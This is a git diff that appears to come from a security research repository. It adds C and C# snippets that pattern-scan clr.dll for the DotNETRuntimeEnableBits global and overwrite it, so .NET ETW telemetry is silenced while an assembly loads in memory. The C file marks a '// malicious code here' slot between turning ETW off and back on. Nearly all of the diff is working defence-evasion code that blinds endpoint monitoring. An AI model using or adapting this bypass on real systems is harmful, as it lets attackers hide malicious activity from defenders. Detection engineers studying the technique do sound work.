diff --git a/src/EtwBypass.cs b/Code Snippets/ProviderHandlePatch.cs similarity index 99% rename from src/EtwBypass.cs rename to Code Snippets/ProviderHandlePatch.cs index 4c9ab2f..9a6056f 100644 --- a/src/EtwBypass.cs +++ b/Code Snippets/ProviderHandlePatch.cs @@ -5,7 +5,7 @@ using System.IO; using System.Reflection; using System.Runtime.InteropServices; -namespace EtwBypass { +namespace ProviderHandlePatch { internal class Program { [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); diff --git a/Code Snippets/SubscriberBitPatch.c b/Code Snippets/SubscriberBitPatch.c new file mode 100644 index 0000000..3d08a89 --- /dev/null +++ b/Code Snippets/SubscriberBitPatch.c @@ -0,0 +1,80 @@ +#include + +int getImageSize(void* imageBase) { + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)imageBase; + IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)imageBase + dos->e_lfanew); + int sizeOfImage = nt->OptionalHeader.SizeOfImage; + return sizeOfImage; +} + +int* findDotNETRuntimeEnableBits(HMODULE clrBase) { + int clrSize = getImageSize(clrBase); + + // assuming a max of 20 global variables that match the pattern + int MAX = 20; + int* globalVars[20] = { 0 }; + int globalVarCounts[20] = { 0 }; + + for (int i = 0; i < clrSize; i++) { + unsigned char* addr = (unsigned char*)clrBase + i; + + // matching "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h" + if (addr[0] != 0xf7 || addr[1] != 0x5) { + continue; + } + + if (*(DWORD*)(addr + 6) != 0x80000000) { + continue; + } + + // calculating global var address + unsigned char* rip = addr + 10; + int offset = *(DWORD*)(addr + 2); + int* globalVarAddr = (int*)(rip + offset); + + // storing frequency of potential vars that could be Microsoft_Windows_DotNETRuntimeEnableBits + for (int i = 0; i < MAX; i ++) { + if (globalVars[i] == 0) { + globalVars[i] = globalVarAddr; + globalVarCounts[i] = 1; + break; + } + + if (globalVars[i] == globalVarAddr) { + globalVarCounts[i] += 1; + } + } + } + + // return the most frequent var that is Microsoft_Windows_DotNETRuntimeEnableBits + int mostFreq = 0; + for (int i = 1; i < MAX; i ++) { + if (globalVarCounts[mostFreq] < globalVarCounts[i]) { + mostFreq = i; + } + } + + return globalVars[mostFreq]; +} + +void turnOffEtw(int* DotNETRuntimeEnableBits_addr, int* DotNETRuntimeEnableBits_val) { + *DotNETRuntimeEnableBits_val = *DotNETRuntimeEnableBits_addr; + *DotNETRuntimeEnableBits_addr = 0; +} + +void turnOnEtw(int* DotNETRuntimeEnableBits_addr, int DotNETRuntimeEnableBits_val) { + *DotNETRuntimeEnableBits_addr = DotNETRuntimeEnableBits_val; +} + +int main() { + HMODULE clrBase = LoadLibraryA("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll"); + int* DotNETRuntimeEnableBits_addr = findDotNETRuntimeEnableBits(clrBase); + + // because the CLR isn't initialized, there will be no DotNETRuntimeEnableBits value. + int DotNETRuntimeEnableBits_val = 0; + turnOffEtw(DotNETRuntimeEnableBits_addr, &DotNETRuntimeEnableBits_val); + // malicious code here + turnOnEtw(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val); + + return 0; +} \ No newline at end of file diff --git a/Code Snippets/SubscriberBitPatch.cs b/Code Snippets/SubscriberBitPatch.cs new file mode 100644 index 0000000..4a6482e --- /dev/null +++ b/Code Snippets/SubscriberBitPatch.cs @@ -0,0 +1,112 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace SubscriberBitPatch { + internal class Program { + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + static int getClrSize(IntPtr clrBase) { + Console.WriteLine("CLR Base: " + clrBase.ToString("X")); + int peOffset = Marshal.ReadInt32(clrBase + 0x3C); + IntPtr optionalHeaderPtr = clrBase + peOffset + 0x18; + int sizeOfImage = Marshal.ReadInt32(optionalHeaderPtr + 0x38); + Console.WriteLine("CLR SizeOfImage: 0x" + sizeOfImage.ToString("X")); + + return sizeOfImage; + } + + static IntPtr GetImageBase(String dllName) { + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) { + if (module.ModuleName.Equals(dllName, StringComparison.OrdinalIgnoreCase)) { + return module.BaseAddress; + } + } + return IntPtr.Zero; + } + + static IntPtr FindDotNETRuntimeEnableBits() { + IntPtr clrBase = GetImageBase("clr.dll"); + + Console.WriteLine("clr.dll located at " + clrBase.ToString("X")); + + int clrSize = getClrSize(clrBase); + IntPtr clrEnd = clrBase + clrSize; + + String[] pattern = new string[] { "f7", "05", "??", "??", "??", "??", "00", "00", "00", "80" }; + + Dictionary globalVarCount = new Dictionary(); + + for (long addr = (long)clrBase; addr < (long)(clrEnd - pattern.Length); addr++) { + for (int i = 0; i < pattern.Length; i++) { + if (pattern[i] == "??") { + continue; + } + + int b = Marshal.ReadByte((IntPtr)addr + i); + int target_b = Convert.ToInt32(pattern[i], 16); + + if (b != target_b) { + break; + } + + if (i != pattern.Length - 1) { + continue; + } + + + int globalVarOffset = Marshal.ReadInt32((IntPtr)addr + 2); + IntPtr rip = (IntPtr)(addr + pattern.Length); + IntPtr globalVarAddr = rip + globalVarOffset; + + if (globalVarCount.ContainsKey(globalVarAddr)) { + globalVarCount[globalVarAddr]++; + } else { + globalVarCount[globalVarAddr] = 1; + } + //Console.WriteLine("Signature found at: 0x" + addr.ToString("X")); + } + } + + IntPtr topAddr = IntPtr.Zero; + foreach (var item in globalVarCount) { + if (topAddr == IntPtr.Zero || item.Value > globalVarCount[topAddr]) { + topAddr = item.Key; + } + } + + return topAddr; + } + + static void TurnOffETW(IntPtr DotNETRuntimeEnableBits_addr, out int DotNETRuntimeEnableBits_val) { + DotNETRuntimeEnableBits_val = Marshal.ReadInt32(DotNETRuntimeEnableBits_addr); + Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, 1); + } + + static void TurnOnETW(IntPtr DotNETRuntimeEnableBits_addr, int DotNETRuntimeEnableBits_val) { + Marshal.WriteInt32(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val); + } + + static void Main(string[] args) { + IntPtr DotNETRuntimeEnableBits_addr = FindDotNETRuntimeEnableBits(); + + int DotNETRuntimeEnableBits_val = 0; + TurnOffETW(DotNETRuntimeEnableBits_addr, out DotNETRuntimeEnableBits_val); + Console.WriteLine("DotNETRuntimeEnableBits_val: 0x" + DotNETRuntimeEnableBits_val.ToString("X")); + + // filename is the .NET assembly executable on disk to load. + String filename = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe"; + Byte[] bytes = File.ReadAllBytes(filename); + Assembly asm = Assembly.Load(bytes); + Console.WriteLine(asm); + + // because ETW is turned back on, upon termination of the process, an AssemblyUnload event for RegAsm is logged. + TurnOnETW(DotNETRuntimeEnableBits_addr, DotNETRuntimeEnableBits_val); + Console.WriteLine("Microsoft_Windows_DotNETRuntimeEnableBits_addr: 0x" + DotNETRuntimeEnableBits_addr.ToString("X")); + } + } +} \ No newline at end of file